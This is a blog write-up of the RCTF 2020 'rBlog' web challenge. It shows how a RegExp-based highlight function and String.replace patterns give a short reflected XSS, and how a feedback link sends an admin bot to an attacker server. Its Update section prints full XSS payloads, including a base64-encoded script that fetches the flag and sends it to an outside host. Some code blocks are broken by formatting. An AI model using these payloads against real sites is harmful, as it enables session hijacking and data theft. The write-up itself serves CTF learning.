<h1>RCTF 2020 rBlog writeup</h1>
<p>发表于 2020 年 6 月 1 日</p>
<p><img alt="" src="//blogstatic-1252090343.picgz.myqcloud.com/200601/r01.png" /></p>
<p><a href="https://drive.google.com/file/d/1Z10Qk8-EMqcYs4zeYmExu6-1HBbrlOaX/view?usp=sharing">source code</a></p>
<p>Apparently the challenge "rBlog" is based on a blog service. Going through the provided source code, it's easy to determine following interfaces:</p>
<ul>
<li>User registration is closed, so the login and logout functions only work for admin(XSS bot);</li>
<li><code>highlight_word</code> function in posts page takes user input and makes changes to DOM accordingly;</li>
<li>Anonymous user can create a feedback which can only be viewed by authenticated user(XSS bot);</li>
<li>Flag is in <code>/posts/flag</code>, also for authenticated user only.</li>
</ul>
<p>Firstly let's take a look into the feedback function. </p>
<p><code>``js=
for (let i of resp.data) {
let params = new URLSearchParams()
params.set('highlight', i.highlight_word)
if (i.link.includes('/') || i.link.includes('\\')) {
continue; // bye bye hackers uwu
}
let a = document.createElement('a')
a.href =</code>${i.link}?${params.toString()}<code>a.text =</code>${i.ip}: ${a.href}`<br />
feedback_list.appendChild(a)<br />
feedback_list.appendChild(document.createElement('br'))<br />
}<br />
feedback_list.innerHTML = DOMPurify.sanitize(feedback_list.innerHTML)</p>
<pre><code>
A new feedback is sent in this way:
```http=
POST /posts/feedback HTTP/1.1
Host: rblog.rctf2020.rois.io
Connection: close
Content-Length: 61
Content-Type: application/x-www-form-urlencoded
postid=8dfaa99d-da9b-4e90-954e-0f97a6917b91&highlight=writeup
</code></pre>
<p>When admin visits <code>/posts/feedback</code> to view the feedbacks, <code><a></code> tags is created like:</p>
<pre><code class="html"><a href="8dfaa99d-da9b-4e90-954e-0f97a6917b91?highlight=writeup">harmless texts...</a>
</code></pre>
<p>Since the feedback page is on route <code>/pages/feedback</code>, the relative URL will surely bring the admin to <code>/pages/8dfaa99d-da9b-4e90-954e-0f97a6917b91?highlight=writeup</code>, the right page. While the only restriction here is the <code>postid</code> should never contain any <code>/</code> or <code>\</code>, technically we now are able to create:</p>
<pre><code class="html"><a href="ANYTHING_BUT_SLASHES_OR_BACKSLASHES?highlight=ANYTHING">harmless texts...</a>
</code></pre>
<p>Generally we would come up with the idea of using <code>javascript:</code> to build a classical XSS here, but the DOM is sanitized by DOMPurify, no chance for <code>javascript:</code> today. As for <code>data:html;base64,...</code>, Chrome would refuses to navigate from http/https to <code>data:</code> via <code><a></code> tag. So let's just leave it here for now and move on to the highlight_word function:</p>
<p><code>``js=
function highlight_word() {
u = new URL(location)
hl = u.searchParams.get('highlight') || ''
if (hl) {
// ban html tags
if (hl.includes('<') || hl.includes('>') || hl.length > 36) {
u.searchParams.delete('highlight')
history.replaceState('', '', u.href)
alert('⚠️ illegal highlight word')
} else {
// why the heck this only highlights the first occurrence? stupid javascript 😠
// content.innerHTML = content.innerHTML.replace(hl,</code><b class="hl">${hl}</b><code>)
hl_all = new RegExp(hl, 'g')
replacement =</code><b class="hl">${hl}</b>`<br />
post_content.innerHTML = post_content.innerHTML.replace(hl_all, replacement)<br />
let b = document.querySelector('b[class=hl]')<br />
if (b) {<br />
typeof b.scrollIntoViewIfNeeded === "function" ? b.scrollIntoViewIfNeeded() : b.scrollIntoView()<br />
}<br />
}<br />
}<br />
}</p>
<pre><code>
This function extracts the param `highlight` from current URL into variable `hl`, and replace all the occurrences in DOM with styled `<b>` tags. Zszz(众所周知/As we all know), if we pass a string as the first argument to `String.replace()`, only the first match will be replaced. To replace all matches, we need to pass a RegExp object with `g` (global) flag.

This is exactly how this highlighting function has been coded. We are able to modify the DOM with `highlight` param:
```js
post_content.innerHTML.replace(/YOUR_HIGHLIGHT_WORDS/g, '<b class="hl">YOUR_HIGHLIGHT_WORDS</b>')
</code></pre>
<p>And here comes the tricky part: other than plain texts, the "replacement" could be a valid RegExp, which means we can do content injections like this:</p>
<p><img alt="" src="//blogstatic-1252090343.picgz.myqcloud.com/200601/r03.png" /></p>
<p>The RegExp matches word <code>do</code> and replaces it with <code><b class="hl">do|LUL_CONTENT_INJECTION</b></code>. But how do we inject HTML tags? <code><</code> or <code>></code> are not allowed in <code>hl</code> ! If you ever read the docs of <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace">String.prototype.replace()</a>, this table should raise your eyebrows:</p>
<p><img alt="" src="//blogstatic-1252090343.picgz.myqcloud.com/200601/r04.png" /></p>
<p>You can really use those replacement patterns to introduce disallowed characters:</p>
<p><img alt="" src="//blogstatic-1252090343.picgz.myqcloud.com/200601/r05.png" /></p>
<p>I crafted this payload with 19 out of 36 chars could be filled with javascript codes:</p>
<pre><code>$`style%20onload=ZZZZZZZZZZZZZZZZZZZ%0a|
</code></pre>
<p><img alt="" src="//blogstatic-1252090343.picgz.myqcloud.com/200601/r06.png?" /></p>
<p>Now we get a reflected-XSS in highlight param, but obviously 36 chars are not enough to carry our payload to fetch the flag. So we need another legit trick here. You can actually find an interesting behavior with following codes:</p>
<p><img alt="" src="//blogstatic-1252090343.picgz.myqcloud.com/200601/r07.png" /><br />
<img alt="" src="//blogstatic-1252090343.picgz.myqcloud.com/200601/r08.png" /></p>
<p>If the href attribute starts with a different HTTP(s) protocol the current location is loaded with, it will not be recognized as a relative URL.</p>
<p>Finally we can create a feedback with postid <code>http:DOMAIN_OR_IP:PORT</code> which would lead the XSS bot to our own HTTP server when he clicks the <code><a></code> tag. Smuggle our payload in <code>window.name</code> and redirect to the reflected-XSS to <code>eval(top.name)</code>.</p>
<p><img alt="" src="//blogstatic-1252090343.picgz.myqcloud.com/200601/r09.png?" /></p>
<hr />
<p><em>Update:</em> Some came up with this unintended solution exploiting the <code>u.search</code> and a longer <code>postid</code>:</p>
<pre><code>POST /posts/feedback HTTP/1.1
Host: rblog.rctf2020.rois.io
Connection: close
Content-Length: 271
Content-Type: application/x-www-form-urlencoded
postid=205f4402-efeb-4200-97a8-808a3159157f?`(eval(atob(`ZmV0Y2goJ2ZsYWcnKS50aGVuKHI9PntyLnRleHQoKS50aGVuKHQ9Pntsb2NhdGlvbj0nLy9jZjQzZGZmZS5uMHAuY28vJytlc2NhcGUodCl9KX0p`)))%3b`%26highlight=$%2526style%2520onload=eval(%2522%2560%2522%252Bu.search)%250A|.%26`#&highlight=1
</code></pre>
<pre><code>// prompt('500IQ')
https://rblog.rctf2020.rois.io/posts/205f4402-efeb-4200-97a8-808a3159157f?`(prompt(`500IQ`));`&highlight=$%26style%20onload=eval(%22%60%22%2Bu.search)%0A|.&`#
</code></pre>